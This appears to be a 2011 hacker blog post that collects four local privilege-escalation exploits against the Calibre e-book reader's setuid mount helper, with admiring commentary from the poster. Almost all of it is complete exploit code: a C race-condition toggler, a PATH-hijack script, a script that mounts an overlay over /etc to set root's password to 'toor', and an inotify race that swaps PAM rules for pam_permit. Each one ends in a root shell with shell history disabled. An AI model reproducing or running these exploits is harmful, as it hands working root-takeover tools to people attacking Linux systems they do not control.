Here we have *4* different but similar in theyre nature…
Theyre ALL nice but by far the nicest was pointed out to me by the author himself, and he would be definately in running for craziest coder of 2011 if he keeps it up :> zx2c4 i refer to, who promptly reminded me he had basically made a REALLY nice version and thus showed me to it, i was glad because I dont use pub disclosure policys usually and was happy to be able to update this post so here it is, the best by FAR (i thought v1 was nice..) but this one, is extremely nice code, and actually abit of this code would probably goto finishing the bzip2 project, well, ideally speaking.. in an ideal world..
here it is the
80. (E)-Calibre reader local root exploit (Race condition)
Love these exploits but theyre really tricky so BIG props to the author zx2c4
/*
* ########################################################
* # .80 Calibrer Assault Mount #
* # by zx2c4 #
* ########################################################
*
* Yesterday's assult mount used inotify to mount into /etc/pam.d. Today we
* expand the attack by adding a race toggler so we can mount from non-block
* devices.
*
* Enjoy.
*
* - zx2c4
* 2011-11-4
*
* greets to djrbliss
*
*/
#include <stdio.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
int main(int argc, char **argv)
{
printf("########################################################\n");
printf("# .80 Calibrer Assault Mount #\n");
printf("# by zx2c4 #\n");
printf("########################################################\n\n");
printf("[+] Cleaning up old cruft.\n");
unlink("/dev/shm/overlay");
system("calibre-mount-helper cleanup /dev/ram0 /media/staging/");
printf("[+] Creating overlay container.\n");
system("dd if=/dev/zero of=/dev/shm/overlay count=25600");
system("/usr/sbin/mkfs.ntfs /dev/shm/overlay");
printf("[+] Mounting staging using race condition toggler...\n");
int childpid = fork();
if (childpid) {
int ret;
while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /media/staging/ 2>&1")) == 256 || ret == 8192);
kill(childpid, SIGKILL);
} else {
while (1) {
rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
symlink("/dev/ram0", "/dev/shm/overlay");
unlink("/dev/shm/overlay");
rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
}
return 0;
}
printf("[+] Preparing overlay with /etc/pam.d modification:\n");
system("cp -v /etc/pam.d/* /media/staging/");
system("sed -i \"s/pam_deny.so/pam_permit.so/g\" /media/staging/common-auth");
system("sed -i \"s/pam_cracklib.so.*/pam_permit.so/g\" /media/staging/system-auth");
system("sed -i \"s/pam_unix.so.*/pam_permit.so/g\" /media/staging/system-auth");
printf("[+] Mounting overlay over /etc/pam.d using race condition toggler and inotify...\n");
childpid = fork();
if (childpid) {
int childpid2 = fork();
if (childpid2) {
int ret;
while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /etc/pam.d/ 2>&1")) == 256 || ret == 8192);
kill(childpid, SIGKILL);
kill(childpid2, SIGKILL);
} else {
while (1) {
int fd;
fd = inotify_init();
unlink("/media/staging/fake");
mkdir("/media/staging/fake");
inotify_add_watch(fd, "/media/staging/fake", IN_CREATE);
read(fd, 0, 0);
rename("/media/staging/fake", "/media/staging/tmp");
symlink("/etc/pam.d", "/media/staging/fake");
rmdir("/media/staging/tmp");
close(fd);
}
}
} else {
while (1) {
rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
symlink("/dev/ram0", "/dev/shm/overlay");
unlink("/dev/shm/overlay");
rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
}
return 0;
}
printf("[+] Asking for root. When prompted for a password, type anything and press enter.\n");
system("su");
return 0;
}
Then of all the calibers…
#!/bin/sh
#######################################
# .50-Calibrer Assault Mount #
# by zx2c4 #
#######################################
################################################################################
# Calibre uses a suid mount helper, and like nearly all suid mount helpers that
# have come before it, it's badly broken. Let's go through Calibre's faulty code
# available at http://pastebin.com/auz9SULi and look at the array of silly
# things done, only one of which we actually need to get root.
# In this spot here, we can create a directory owned by root anywhere we want:
# 47 if (!exists(mp)) {
# 48 if (mkdir(mp, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH) != 0) {
# 49 errsv = errno;
# 50 fprintf(stderr, "Failed to create mount point with error: %s\n", strerror(errsv));
# 51 }
# 52 }
# At this point, we can remove any empty directory we want:
# 172 rmd = rmdir(mp);
# And elsewhere, we can create and remove anything_we_want/.some_stupid_marker.
# I'm sure you can figure out how to exploit these kinds of things
.
# We also get the ability with this wonderful mount-helper to unmount and eject
# any device that we want (as root), as well as mount any vfat filesystem that
# we'd like.
# Not only that, but we can pass params directly to mount, to some degree:
# 83 execlp("mount", "mount", "-t", "auto", "-o", options, dev, mp, NULL);
# On this line, "dev" and "mp" are controlled by argv[2] and argv[3]. I'm sure
# you can find fun things to do with this as well. (There -s and also the man
# pages say the last -o is respected, etc etc. Be creative.)
# But there's also something lurking that is way worse in this line. Is that
# "execlp" we see? Yes. According to the man pages:
# The execlp(), execvp(), and execvpe() functions duplicate the actions of
# the shell in searching for an executable file if the specified
# filename does not contain a slash (/) character.
# execlp searchs PATH for where to find "mount", and then runs it as root. And,
# with great joy, we find that we can trivially control PATH by setting it
# before running the mount helper. So the attack plan is simple:
#
# 1. Make an executable named "mount" in the current directory that executes
# a shell.
# 2. PATH=".:$PATH" calibre-mount-helper mount something somethingelse
#
# And that's it! We have root. The below exploit creates things in a temporary
# directory that gets cleaned up and displays some status information along the
# way.
# - zx2c4
# 2011-11-1
#
# Usage:
# $ ./50calibrerassaultmount.sh
# [+] Making temporary directory: /tmp/tmp.q5ktd8UcxP
# [+] Making mount point.
# [+] Writing malicious mounter.
# [+] Overriding PATH and getting root.
# [+] Cleaning up: /tmp/tmp.q5ktd8UcxP
# [+] Checking root: uid=0(root) gid=0(root) groups=0(root)
# [+] Launching shell.
# sh-4.2#
################################################################################
set -e
echo "#######################################"
echo "# .50-Calibrer Assault Mount #"
echo "# by zx2c4 #"
echo "#######################################"
echo
echo -n "[+] Making temporary directory: "
dir="$(mktemp -d)"
echo "$dir"
cd "$dir"
echo "[+] Making mount point."
mkdir mountpoint
echo "[+] Writing malicious mounter."
cat > mount <<END
#!/bin/sh
cd /
echo "[+] Cleaning up: $dir"
rm -rf "$dir"
echo -n "[+] Checking root: "
id
echo "[+] Launching shell."
HISTFILE="/dev/null" exec /bin/sh
END
chmod +x mount
echo "[+] Overriding PATH and getting root."
PATH=".:$PATH" calibre-mount-helper mount /dev/null mountpoint
Then one also by the same author but, he messes up the username bit alittle here… I prefer the 3rd code for this exploit.. but here is no.3 anyhow ;s
# Exploit Title: .60-Calibrer Assault Mount: Another Calibre E-Book Reader Local Root
# Date: Nov 2, 2011
# Author: zx2c4
# Software Link: http://calibre-ebook.com/
# Tested on: Gentoo
# Platform: Linux
# Category: Local
# CVE: pending
#!/bin/sh
#######################################
# .60-Calibrer Assault Mount #
# by zx2c4 #
#######################################
################################################################################
# Yesterday we learned how Calibre's usage of execlp allowed us to override PATH
# and get root, in my ".50-Calibrer Assault Mount" exploit. Today we exploit a
# more fundumental issue with Calibre's mount helper -- namely, that it allows
# us to mount a vfat filesystem anywhere we want. By mounting a file system
# image over /etc, we are able to tinker /etc/passwd and make the root password
# temporarily "toor".
# - zx2c4
# 2011-11-2
# Usage:
# $ ./60calibrerassaultmount.sh
# [+] Making temporary directory: /tmp/tmp.OGgS0jaoD4
# [+] Making overlay image:
# 51200+0 records in
# 51200+0 records out
# 26214400 bytes (26 MB) copied, 0.100984 s, 260 MB/s
# mkfs.vfat 3.0.11 (24 Dec 2010)
# [+] Mounting overlay image using calibre-mount-helper.
# [+] Copying /etc into overlay.
# [+] Tampering with overlay's passwd.
# [+] Unmounting overlay image using calibre-mount-helper.
# [+] Mounting overlay to /etc using calibre-mount-helper.
# [+] Asking for root. When prompted for a password, enter 'toor'.
# Password: [typed in toor to the terminal]
# [+] Unmounting /etc using root umount.
# [+] Cleaning up: /tmp/tmp.OGgS0jaoD4
# [+] Getting shell.
# sh-4.2# id
# uid=0(root) gid=0(root) groups=0(root)
# sh-4.2# whoami
# root
# sh-4.2#
################################################################################
echo "#######################################"
echo "# .60-Calibrer Assault Mount #"
echo "# by zx2c4 #"
echo "#######################################"
echo
echo -n "[+] Making temporary directory: "
dir="$(mktemp -d)"
echo "$dir"
cd "$dir"
echo "[+] Making overlay image:"
dd if=/dev/zero of=overlay count=51200
/usr/sbin/mkfs.vfat overlay
echo "[+] Mounting overlay image using calibre-mount-helper."
mkdir staging
calibre-mount-helper mount overlay staging
echo "[+] Copying /etc into overlay."
cd staging/
cp -a /etc/* . 2>/dev/null
echo "[+] Tampering with overlay's passwd."
cat passwd | tail -n +2 > tmp
echo "root:$(echo -n 'toor' | openssl passwd -1 -stdin):0:0:root:/root:/bin/bash" >> tmp
mv tmp passwd
echo "[+] Unmounting overlay image using calibre-mount-helper."
cd ..
calibre-mount-helper eject overlay staging >/dev/null 2>&1
echo "[+] Mounting overlay to /etc using calibre-mount-helper."
calibre-mount-helper mount overlay /etc >/dev/null 2>&1
cd /
echo "[+] Asking for root. When prompted for a password, enter 'toor'."
su -c "echo \"[+] Unmounting /etc using root umount.\"; umount /etc; echo \"[+] Cleaning up: $dir\"; rm -rf \"$dir\"; echo \"[+] Getting shell.\"; HISTFILE=\"/dev/null\" exec /bin/sh"
As you see thats abit messy when it comes to changing a set password… ;s
This is DRossenbergs version of the overlay bug wich is slightly nicer, because it probably wont mess to much with the password of user…
#!/bin/sh
###########################################
# .70-Caliber Assault Mount #
# by Dan Rosenberg (@djrbliss) and zx2c4 #
###########################################
################################################################################
# Yesterday we learned how Calibre's ability to mount anything anywhere resulted
# in a local root. Today's exploit shows a race condition to subvert recent
# changes preventing symlinks and checking path prefixes.
# - djrbliss & zx2c4
# 2011-11-3
################################################################################
overlay=/dev/shm/overlay
staging=/media/staging
mounter=calibre-mount-helper
fakemount=/media/staging/fake
target=/etc/pam.d
mkfsntfs=/sbin/mkfs.ntfs
echo "[+] Making overlay image:"
dd if=/dev/zero of=$overlay count=51200
$mkfsntfs -F $overlay
echo "[+] Mounting overlay image using calibre-mount-helper."
$mounter mount $overlay $staging
echo "[+] Copying /etc/pam.d/ into overlay."
cp /etc/pam.d/* $staging/ 2>/dev/null
sed -i "s/pam_deny.so/pam_permit.so/g" $staging/common-auth
echo "[*] Making fake mountpoint."
rm -rf $fakemount 2>/dev/null
echo "[*] Preparing binary payload..."
cat > /tmp/pwn.c << _EOF
#include <stdio.h>
#include <sys/inotify.h>
#include <unistd.h>
int main(int argc, char **argv) {
int fd, wd, ret;
if (fork()) {
fd = inotify_init();
unlink("$fakemount");
mkdir("$fakemount");
wd = inotify_add_watch(fd, "$fakemount", IN_CREATE);
read(fd, 0, 0);
rename("$fakemount", "$staging/tmp");
symlink("$target", "$fakemount");
rmdir("$staging/tmp");
return 0;
} else {
sleep(1);
return system("$mounter mount $overlay $fakemount");
}
return 0;
}
_EOF
gcc /tmp/pwn.c -o /tmp/pwn
ret=1
while [ $ret -ne 0 ]; do
/tmp/pwn
ret=$?
done;
sleep 2
echo "[+] Asking for root. When prompted for a password, type anything and press enter."
su -c "echo \"[+] Cleaning up.\"; umount $fakemount; umount $staging; rm -rf $overlay; echo \"[+] Getting shell.\"; HISTFILE=\"/dev/null\" exec /bin/sh"
Alot of nice work for a shitty little local… well, i gess it is OK for some boxes..
xd– / #HaxNET@EFnet